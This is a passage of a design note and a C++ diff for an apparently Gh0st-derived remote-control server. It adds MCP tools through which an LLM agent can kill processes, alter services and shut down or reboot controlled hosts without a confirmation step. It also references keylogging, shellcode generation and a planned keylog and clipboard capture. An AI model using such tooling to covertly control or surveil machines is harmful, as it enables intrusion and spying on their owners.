+  "service_name": "string（必填，服务名，取 list_services 返回的 service_name）",
+  "action": "string（必填）start|stop|set_auto|set_manual" }
+// outputSchema
+{ "ok": "boolean" }
+```
+
+- payload：`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`，
+  bCmd：`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
+- 边界：客户端 `ServicesManager` 仅实现这 4 项；**无** pause / continue / delete
+  （它们属于 `MachineDlg` 机器管理的另一条链路，留待 P8 评估）。
+
+### 4.4 `power_action`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填）",
+  "action": "string（必填）logout|shutdown|reboot" }
+// outputSchema
+{ "ok": "boolean" }
+```
+
+- payload：`TOKEN_MACHINE_MANAGE [token:1][type:1]`，type：`logout=0` / `shutdown=1` / `reboot=2`
+  （`enum MachineCommand` 顺序）。MFC 发的是 32 字节缓冲（`2015RemoteDlg::MachineManage`），
+  但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`，故 2 字节即可。
+- 走**主连接**、发完即走、无响应；主机将立即离线。描述需明确「不可撤销、主机下线」。
+- 需客户端管理员权限（`EnableShutdownPrivilege`），无权限时客户端静默忽略（同 MFC 现状）。
+- **仅 Windows 客户端**：Linux 侧文档写的是 `COMMAND_SESSION`（`linux/README.md`），但代码中
+  未发现对应 handler，即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
+  `-32005`，不尝试发送。
+
+## 5. 安全门（单一 `McpManage` 开关）
+
+- 新增配置键 `settings/McpManage`（默认 `0`，关闭）。
+- 生效条件：`McpManage=1` 且 `McpReadonly=0`；二者任一不满足即隐藏 4 个工具。
+- 双保险：`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验（与 `exec_command` 的
+  `IsReadonly()` 双保险一致）。
+- `McpSettingsDlg` 增加「管理操作（进程/窗口/服务/电源）」复选框，写入 `THIS_CFG`。
+- 审计：每次写操作写入服务端审计日志（`get_audit_log` 可见），记录 tool + host id + 参数摘要 + 结果。
+
+## 6. 单飞行与并发约束
+
+- 沿用现有约束：同 host 同一时刻只允许一个 MCP 挂起请求（`BeginPending` 保证）。
+- 写工具与只读工具共用 `m_Pending`，天然互斥；与 MFC 对话框并存（各用独立子连接，互不干扰）。
+- 超时沿用 `kMcpToolTimeoutMs = 20000`；`power_action` 因无响应、发完即返回成功。
+
+## 7. 边界与风险
+
+1. **杀进程/关机/重启不可逆**：描述与审计都需显著标注；不提供「确认对话框」，
+   确认责任在调用方（MCP 客户端/LLM agent）。
+2. **kill 无客户端回执**：成功与否靠「新进程列表不含目标 pid」推断，`TerminateProcess`
+   失败（权限不足等）时进程仍在 `remaining`，由调用方判断。
+3. **服务操作仅 4 项**：pause/continue/delete 缺省，如需需评估 `MachineDlg` 链路。
+4. **窗口句柄时效**：hwnd 可能已失效（窗口已关闭），客户端 `PostMessage/ShowWindow`
+   对失效句柄静默无操作，`operate_window` 的 `ok=true` 只表示「已下发」。
+5. **子连接竞态**：写工具接管子连接后若客户端断线，`OfflineProc` 调 `OnManageSubClosed`
+   清理挂起（置 done 并清 `subCtx`、唤醒等待线程；**不擦表**，由 `WaitPendingWrite` 自行擦除，
+   防迭代器失效）。清 `subCtx` 是关键——context 对象被连接池回收复用，若超时路径仍对旧指针
+   `CancelIO` 会误伤新连接（与 `OnTerminalClosed`/`OnScreenControlClosed` 同理）。
+
+## 8. P8 / P9 路线图（后续）
+
+- **P8 文件与信息面**：`delete_file/delete_directory`、`create_folder`、`rename_file`、
+  `open_file`；`list_network_connections`、`list_software`、`get/set_hosts`、
+  `list_scheduled_tasks`(+增删启停)、`get_keylog`。
+- **P9 进阶与 NL 增强**：`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
+  `open_url`/`send_message`；**批量操作**（`ids[]`/`group` 维度）；离线主机枚举
+  `list_all_hosts`。
+
+## 9. 实现与验证记录（2026-10-01）
+
+已实现并端到端验证（真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware，id=3441387693643366974）：
+
+- `kill_process` → `remaining:[]`；`operate_window`(restore) → `ok:true`；
+  `control_service`(set_manual AJRouter) → `ok:true`；`power_action`(reboot) → `ok:true`（发完即走）。
+  三个写工具的确认包（第二个 `TOKEN_*LIST`）均正常到达，列表均 >1460 字节触发 HTTP 分片。
+- 落地：`McpManage` 开关 + `McpReadonly=0` 双保险；`McpSettingsDlg` 增「管理操作」复选框；
+  主工具栏增 `MCP` 入口按钮（`ID_MCP_SETTINGS`）；en/de/zh-TW 三语文案同步。
+- 前置解析 bug（验证中暴露，已单独提交 `a72e6eb`）：`HeaderParser::Parse` 的
+  `m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`，导致写工具的确认包被
+  `PARSER_FAILED` 丢弃（「首包能到、后续包到不了」）；修复为 `else if (m_bShouldUnmask != TRUE)`。

server/2015Remote/2015RemoteDlg.cpp

@@ -20,6 +20,7 @@
 #include "AudioDlg.h"
 #include "RegisterDlg.h"
 #include "ServicesDlg.h"
+#include "ConnectionsDlg.h"
 #include "VideoDlg.h"
 #include <vector>
 #include <map>
@@ -27,6 +28,7 @@
 #include <filesystem>
 #include "KeyBoardDlg.h"
 #include "InputDlg.h"
+#include "ShareHostDlg.h"
 #include "CPasswordDlg.h"
 #include "FeatureFlags.h"
 #include "FeatureLimitsDlg.h"
@@ -43,6 +45,9 @@
 #include <sstream>
 #include "common/skCrypter.h"
 #include "common/commands.h"
+#include "QualityLevelsDlg.h"
+#include "CPreviewLevelsDlg.h"
+#include "CFileSpeedDlg.h"
 #include "McpServer.h"
 #include "McpSettingsDlg.h"
 #include "common/md5.h"
@@ -234,6 +239,69 @@ UINT GetClientEncoding(context* ctx) {
     return 936;
 }
 
+// 客户端「进程名/路径」编码：Windows 用 A 接口生成，恒为客户端 ANSI（简中=GBK/936），
+// 不随 CLIENT_CAP_UTF8 转 UTF-8；LNX/MAC 的 /proc 天然 UTF-8。
+// 不能用 GetClientEncoding——它按能力位返回 CP_UTF8，会误解 Windows 客户端的 GBK 进程名。
+// 与 McpServer::BuildListProcesses 的判定保持一致。
+UINT GetProcessListEncoding(context* ctx) {
+    if (!ctx) return 936;
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    if (clientType == "LNX" || clientType == "MAC") return CP_UTF8;
+    // 子连接情形：自身 RES_CLIENT_TYPE 为空 -> 找主连接取 clientType
+    if (g_2015RemoteDlg) {
+        context* mainCtx = g_2015RemoteDlg->FindHostByClientID(ctx->GetClientID());
+        if (!mainCtx) {
+            mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName());
+        }
+        if (mainCtx) {
+            CString mainType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
+            if (mainType == "LNX" || mainType == "MAC") return CP_UTF8;
+        }
+    }
+    return 936;
+}
+
+// 判断字符串是否为合法 UTF-8（MB_ERR_INVALID_CHARS 严格校验，避免把 GBK 误判成 UTF-8）。
+static bool IsValidUtf8Str(const char* s)
+{
+    if (!s || !s[0]) return false;
+    return MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, s, -1, NULL, 0) > 0;
+}
+
+// 把按 cp 编码的字符串转成 UTF-8（cp == CP_UTF8 时原样返回）。
+static CString LocationToUtf8(const CString& str, UINT cp)
+{
+    if (str.IsEmpty() || cp == CP_UTF8) return str;
+    int wlen = MultiByteToWideChar(cp, 0, str, -1, NULL, 0);
+    if (wlen <= 1) return str;
+    std::wstring w(wlen - 1, L'\0');
+    MultiByteToWideChar(cp, 0, str, -1, &w[0], wlen);
+    int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+    if (u8len <= 1) return str;
+    std::string u8(u8len - 1, '\0');
+    WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &u8[0], u8len, NULL, NULL);
+    return CString(u8.c_str());
+}
+
+// 兜底规整地理位置为 UTF-8：合法 UTF-8（LNX/MAC 自报、迁移后的缓存）原样保留，
+// 否则视为 GBK/936（Windows 自报、本地库 QQWry/Ip2Region、老缓存）转 UTF-8。
+static CString NormalizeLocationToUtf8(const CString& str)
+{
+    if (str.IsEmpty() || IsValidUtf8Str(str.GetString())) return str;
+    return LocationToUtf8(str, 936);
+}
+
+// 把按 cp 编码的字符串转成宽字符串（cp == CP_UTF8 用于地理位置，CP_ACP 用于 GBK/ASCII 部分）。
+static CStringW AnsiToWide(const char* s, UINT cp = CP_ACP)
+{
+    if (!s || !s[0]) return L"";
+    int wlen = MultiByteToWideChar(cp, 0, s, -1, NULL, 0);
+    if (wlen <= 1) return L"";
+    std::wstring w(wlen - 1, L'\0');
+    MultiByteToWideChar(cp, 0, s, -1, &w[0], wlen);
+    return CStringW(w.c_str());
+}
+
 // 授权日志频率控制：首次必须记录，状态变化必须记录，相同状态每小时记录一次
 static bool ShouldLogAuth(const std::string& sn, int success) {
     struct AuthLogState {
@@ -666,6 +734,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY);   // 历史活动
     m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND);           // 浏览窗口
     m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN);      // 代理端口-自启
+    m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER);       // 文件管理
+    m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD);     // 隐私屏幕
+    m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD);      // 远程画板
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -921,6 +992,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
     ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
     ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
+    ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)
     ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
     ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
     ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -987,6 +1059,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
     ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
     ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
+    ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
+    ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
+    ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
+    ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
+    ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
+    ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1013,6 +1091,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_TOOL_IMPORT_LICENSE, &CMy2015RemoteDlg::OnToolImportLicense)
     ON_COMMAND(ID_TOOL_V2_PRIVATEKEY, &CMy2015RemoteDlg::OnToolV2PrivateKey)
     ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
+    ON_COMMAND(ID_TOOL_QUALITY_LEVELS, &CMy2015RemoteDlg::OnQualityLevels)
+    ON_COMMAND(ID_TOOL_PREVIEW_LEVELS, &CMy2015RemoteDlg::OnPreviewLevels)
+    ON_COMMAND(ID_TOOL_FILE_SPEED, &CMy2015RemoteDlg::OnFileTransferSpeed)
         ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
         ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
         ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
@@ -1409,6 +1490,21 @@ VOID CMy2015RemoteDlg::CreateToolBar()
     m_ToolBar.SetButtonText(11, _TR("生成服务端"));
     m_ToolBar.SetButtonText(12, _TR("搜索"));
     m_ToolBar.SetButtonText(13, _TR("帮助"));
+    // 按钮 14 "Lang/语言" 含 GBK 中文：comctl32 的 ANSI 消息按系统 ACP 解码，非中文系统会乱码，
+    // 故改用 Unicode 消息 + 显式 GBK(936)→Unicode 转换设置（与 TranslateListHeader 同法）。
+    {
+        WCHAR wLabel[64] = { 0 };
+        MultiByteToWideChar(936, 0, _T("Lang/语言"), -1, wLabel, 64);
+        TBBUTTONINFOW tbi = { 0 };
+        tbi.cbSize = sizeof(tbi);
+        tbi.dwMask = TBIF_TEXT | TBIF_BYINDEX;   // wParam 为按钮下标（与 SetButtonText(14,...) 同义）
+        tbi.pszText = wLabel;
+        ::SendMessageW(m_ToolBar.GetSafeHwnd(), TB_SETBUTTONINFOW, 14, (LPARAM)&tbi);
+    }
+    m_ToolBar.SetButtonText(15, _T("MCP"));
+    m_ToolBar.SetButtonText(16, _TR("连接管理"));
+    m_ToolBar.SetButtonText(17, _TR("远程交谈"));
+    m_ToolBar.SetButtonText(18, _TR("主机管理"));
 
     // ============================================================
     //  UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
@@ -1459,7 +1555,7 @@ VOID CMy2015RemoteDlg::CreateToolBar()
     }
 
     // 如果所有按钮都被隐藏，则隐藏整个工具栏
-    if (hiddenCount >= 14) {
+    if (hiddenCount >= 16) {
         m_ToolBar.ShowWindow(SW_HIDE);
     }
 
@@ -1583,7 +1679,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
         v[RES_CLIENT_ID] = std::to_string(id);
     }
 
-    bool modify = false, needConvert = true;
+    bool modify = false;
 
     // 新客户端 V2 ID 算法首次上线时，把老 ID 下的元数据迁过来。
     if (TryMigrateClientMetadata(id, strPCName, path)) {
@@ -1592,20 +1688,21 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     // 优先级：① 客户端刚发来的有效地理位置（非空非"?"）
     //          ② 服务端缓存（排除历史遗留的"?"无效值）
     //          ③ 服务端按连接 IP 自行查询
+    // 存储统一为 UTF-8：列表用宽字符显示、HostJson/邮件导出直接透传，
+    // 不再 SafeUtf8ToAnsi 转 GBK（GBK 无法编码 ö/ä/ß 等变音符，会替换成 '?'）。
     CString clientLoc = v[RES_CLIENT_LOC].c_str();
     CString cachedLoc = m_ClientMap->GetClientMapData(id, MAP_LOCATION);
     CString loc;
     if (!clientLoc.IsEmpty() && clientLoc != "?") {
-        loc = clientLoc;
+        // 客户端自报：GetGeoLocation 已改为返回 UTF-8（见 common/location.h），
+        // 新客户端各类型都上报 UTF-8；老版本/旧缓存的客户端可能仍是 GBK/936。统一按 UTF-8 规整。
+        loc = NormalizeLocationToUtf8(clientLoc);
     } else if (!cachedLoc.IsEmpty() && cachedLoc != "?") {
-        loc = cachedLoc;
+        loc = NormalizeLocationToUtf8(cachedLoc);
     } else {
-        loc = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
-        needConvert = !m_HasLocDB;
+        std::string geo = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString());
+        loc = NormalizeLocationToUtf8(CString(geo.c_str()));
     }
-    // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8
-    if (needConvert)
-        loc = SafeUtf8ToAnsi(loc.GetString()).c_str();
     bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
     data[ONLINELIST_IP] = flag ? v[RES_CLIENT_PUBIP].c_str() : strIP;
     data[ONLINELIST_LOCATION] = loc;
@@ -1679,7 +1776,13 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     }
 
     std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
-    ShowMessage(_TR("操作成功"), strIP + tip.c_str() + " " + _L(_T("主机上线")) + "[" + loc + "][" + groupName.c_str() + "]");
+    // 地理位置 loc 是 UTF-8，其余是 GBK/ASCII；拼成宽字符串走 ShowMessageW，
+    // 否则 UTF-8 会在 ANSI 日志列表里被按 GBK 显示成乱码（Böblingen → B枚blingen）。
+    CString type = _TR("操作成功");
+    CString prefix = strIP + tip.c_str() + " " + _L(_T("主机上线")) + "[";
+    CString suffix = "][" + CString(groupName.c_str()) + "]";
+    ShowMessageW(AnsiToWide(type.GetString()),
+                 AnsiToWide(prefix.GetString(), CP_ACP) + AnsiToWide(loc.GetString(), CP_UTF8) + AnsiToWide(suffix.GetString(), CP_ACP));
 
     CharMsg *title =  new CharMsg(_TR("主机上线"));
     CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" ") + _L(_T("主机上线")) + _T(" [") + loc + _T("]"));
@@ -1826,6 +1929,61 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
         m_StatusBar.SetPaneText(0,strStatusMsg);   //在状态条上显示文字
 }
 
+// 宽字符版 ShowMessage：消息里嵌入了 UTF-8 地理位置时，SetItemText 会把 UTF-8 按 GBK
+// 显示成乱码（Böblingen → B枚blingen）。这里把消息列经 LVM_SETITEMTEXTW 直接写宽字符串。
+// 类型/时间列与线程安全镜像仍保持 GBK，与其它条目及 McpServer get_audit_log 的 ToUtf8(msg,936) 一致。
+VOID CMy2015RemoteDlg::ShowMessageW(const CStringW& strTypeW, const CStringW& strMsgW)
+{
+    AUTO_TICK(200, "");
+    CTime Timer = CTime::GetCurrentTime();
+    CString strTime = Timer.Format("%Y-%m-%d %H:%M:%S");
+
+    int count = m_CList_Message.GetItemCount();
+    if (count >= MAX_MESSAGE_COUNT) {
+        m_CList_Message.DeleteItem(count - 1);
+    }
+
+    // 宽 → GBK 仅用于 InsertItem（类型列）、颜色判定与线程安全镜像；ö 等变音符会退化为 '?'，
+    // 但 UI 消息列用的是下面的宽字符写，不受影响。
+    CString strType(strTypeW);
+    CString strMsg(strMsgW);
+
+    m_CList_Message.InsertItem(0, strType);
+    m_CList_Message.SetItemText(0, 1, strTime);
+
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = 0;
+    lv.iSubItem = 2;
+    lv.pszText = const_cast<LPWSTR>(strMsgW.GetString());
+    ::SendMessageW(m_CList_Message.GetSafeHwnd(), LVM_SETITEMTEXTW, 0, (LPARAM)&lv);
+
+    m_CList_Message.SetItemData(0, (DWORD_PTR)MsgColorLevel(strType, strMsg));
+
+    // 同步线程安全镜像（GBK，与其它条目一致）
+    {
+        EnterCriticalSection(&m_cs);
+        LogMessage entry;
+        entry.type = strType.GetString();
+        entry.time = strTime.GetString();
+        entry.msg  = strMsg.GetString();
+        m_MessageLog.insert(m_MessageLog.begin(), entry);
+        if ((int)m_MessageLog.size() > MAX_MESSAGE_COUNT)
+            m_MessageLog.pop_back();
+        LeaveCriticalSection(&m_cs);
+    }
+
+    CString strStatusMsg;
+    EnterCriticalSection(&m_cs);
+    int m_iCount = m_CList_Online.GetItemCount();
+    int totalCount = m_HostList.size();
+    LeaveCriticalSection(&m_cs);
+    strStatusMsg.FormatL("有%d个主机在线", m_iCount);
+    strStatusMsg += CString("[Total: ") + std::to_string(totalCount).c_str() + "]";
+    if (m_StatusBar.GetSafeHwnd())
+        m_StatusBar.SetPaneText(0, strStatusMsg);
+}
+
 // 试用版 IP 段触发：OnAccept 发现入站连接对端是公网 IP（已透过 Proxy Protocol v2 解出真实 IP）。
 // 与 OnTrialRttAbuse 共用 IOCPServer::s_TrialAbuseWarned latch，本函数每进程最多调一次。
 LRESULT CMy2015RemoteDlg::OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam)
@@ -2203,6 +2361,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
         McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings", "McpRemoteControl", 0) != 0);
         // 文件传输开关：默认关；仅 download_file 门控（不要求只读关）。
         McpServer().SetFileTransferEnabled(THIS_CFG.GetInt("settings", "McpFileTransfer", 0) != 0);
+        // P7 管理控制开关：默认关；要求只读关（McpReadonly=0）才生效（工具列表/分派双重门控）。
+        McpServer().SetManageEnabled(THIS_CFG.GetInt("settings", "McpManage", 0) != 0);
         if (!McpServer().Start(mcpBind, mcpPort)) {
             Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
         } else {
@@ -2211,7 +2371,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     }
 
     UPDATE_SPLASH(18, "正在初始化文件上传模块...");
-    int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash());
+    int chunkKb = 64, durMs = 50;
+    GetTransferSpeed(THIS_CFG, chunkKb, durMs);
+    int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
     g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
 
     UPDATE_SPLASH(20, "正在加载IP数据库...");
@@ -2398,6 +2560,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     strcpy(m_settings.GetPluginUrl, THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str());
     m_settings.Authorized = !pwd.empty() && !THIS_CFG.GetStr("settings", "PwdHmac").empty();
     m_settings.IsTrail = IsTrail(pwd);
+    {
+        int chunkKb, durMs;
+        GetTransferSpeed(THIS_CFG, chunkKb, durMs);
+        m_settings.TransferChunkKb    = (uint16_t)chunkKb;
+        m_settings.TransferDurationMs = (uint16_t)durMs;
+    }
     m_bEnableFileV2 = THIS_CFG.GetInt("settings", "EnableFileV2", 0) != 0;
 
     // 缩略图配置：从 [thumbnail] 节读取（独立于 MasterSettings，纯主控端 UI 偏好）。
@@ -2405,6 +2573,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
     // 这里读完 INI 后再 Apply 一次纠正过来。
     LoadThumbnailSettingsFromCfg();
     ApplyThumbnailSettings();
+    LoadQualityProfilesFromCfg();
+    LoadPreviewProfilesFromCfg();
     m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
 
     CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
@@ -4192,6 +4362,10 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
                 text = ctx->GetClientData(slot);
                 if (text.IsEmpty()) text = "?";
             }
+            // 地理位置列已统一按 UTF-8 存储（见 AddList）；A 版回调只能填 CP_ACP 文本，转回 CP_ACP。
+            if (slot == ONLINELIST_LOCATION) {
+                text = Utf8ToAnsi(std::string(text.GetString())).c_str();
+            }
             lstrcpyn(pItem->pszText, text, pItem->cchTextMax);
         }
     }
@@ -4258,7 +4432,8 @@ void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
             }
             if (wtext.empty()) wtext = L"?";
         } else {
-            // 其它列：CString 仍是 ANSI（CP_ACP），按 CP_ACP 转宽供控件显示
+            // 其它列：CString 仍是 ANSI（CP_ACP），按 CP_ACP 转宽供控件显示；
+            // 地理位置列已统一按 UTF-8 存储（见 AddList），按 UTF-8 转宽，避免把 UTF-8 字节当 GBK。
             CString text;
             if (nCol == ONLINELIST_COMPUTER_NAME) {
                 CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
@@ -4267,10 +4442,11 @@ void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
                 text = ctx->GetClientData(nCol);
                 if (text.IsEmpty()) text = "?";
             }
-            int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
+            UINT cp = (nCol == ONLINELIST_LOCATION) ? CP_UTF8 : CP_ACP;
+            int wlen = MultiByteToWideChar(cp, 0, text, -1, NULL, 0);
             if (wlen > 0) {
                 wtext.resize(wlen - 1);
-                MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
+                MultiByteToWideChar(cp, 0, text, -1, &wtext[0], wlen);
             }
         }
 
@@ -4338,6 +4514,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
     Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN,  MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
     Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND,   MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
     Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER,   MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD,  MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
 
     Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
 
@@ -4478,6 +4657,39 @@ void CMy2015RemoteDlg::OnOnlineMessage()
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+void CMy2015RemoteDlg::OnChat()
+{
+    // 二次确认：避免误点工具栏“远程交谈”就立刻向被控端发起双向聊天
+    if (IDYES != MessageBoxL(_T("确定开始远程交谈吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
+        return;
+
+    BYTE bToken = COMMAND_CHAT;   //向被控端发送开始远程交谈（双向聊天）
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+void CMy2015RemoteDlg::OnMachineManager()
+{
+    BYTE bToken = COMMAND_MACHINE_MANAGE;   //向被控端发送打开主机管理对话框命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+void CMy2015RemoteDlg::OnExperimentFileManager()
+{
+    BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN;   //向被控端发送打开插件文件管理对话框命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
+void CMy2015RemoteDlg::OnExperimentPrivateScreen()
+{
+    BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN;   //向被控端发送打开隐私屏幕（虚拟桌面）命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
+void CMy2015RemoteDlg::OnExperimentDrawingBoard()
+{
+    BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN;   //向被控端发送打开远程画板命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
+
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
     const std::string& dir, const std::string& name, int cmd, int sizeofSize)
@@ -5194,6 +5406,12 @@ BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
         McpServer().OnScreenControlClosed(ContextObject);
     }
 
+    // MCP P7 管理写操作（kill/窗口/服务）接管的子连接断开：清挂起，避免超时路径对
+    // 已回收（连接池复用）的 context 误 CancelIO（与终端/屏幕子连接的清理同理）。
+    if (McpServer().IsRunning()) {
+        McpServer().OnManageSubClosed(ContextObject);
+    }
+
     SOCKET nSocket = ContextObject->sClientSocket;
 
 	CDialogBase* p = (CDialogBase*)ContextObject->hDlg;
@@ -5404,7 +5622,7 @@ int CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const
         if (outExpired) *outExpired = true;  // 签名有效但已过期
         if (ctx != nullptr) {
             std::string ip = ctx->GetClientData(ONLINELIST_IP);
-            std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+            std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
             std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
             UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
         } else {
@@ -5422,7 +5640,7 @@ int CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const
     // 授权成功时更新 license 活跃信息
     if (ctx != nullptr) {
         std::string ip = ctx->GetClientData(ONLINELIST_IP);
-        std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+        std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
         std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
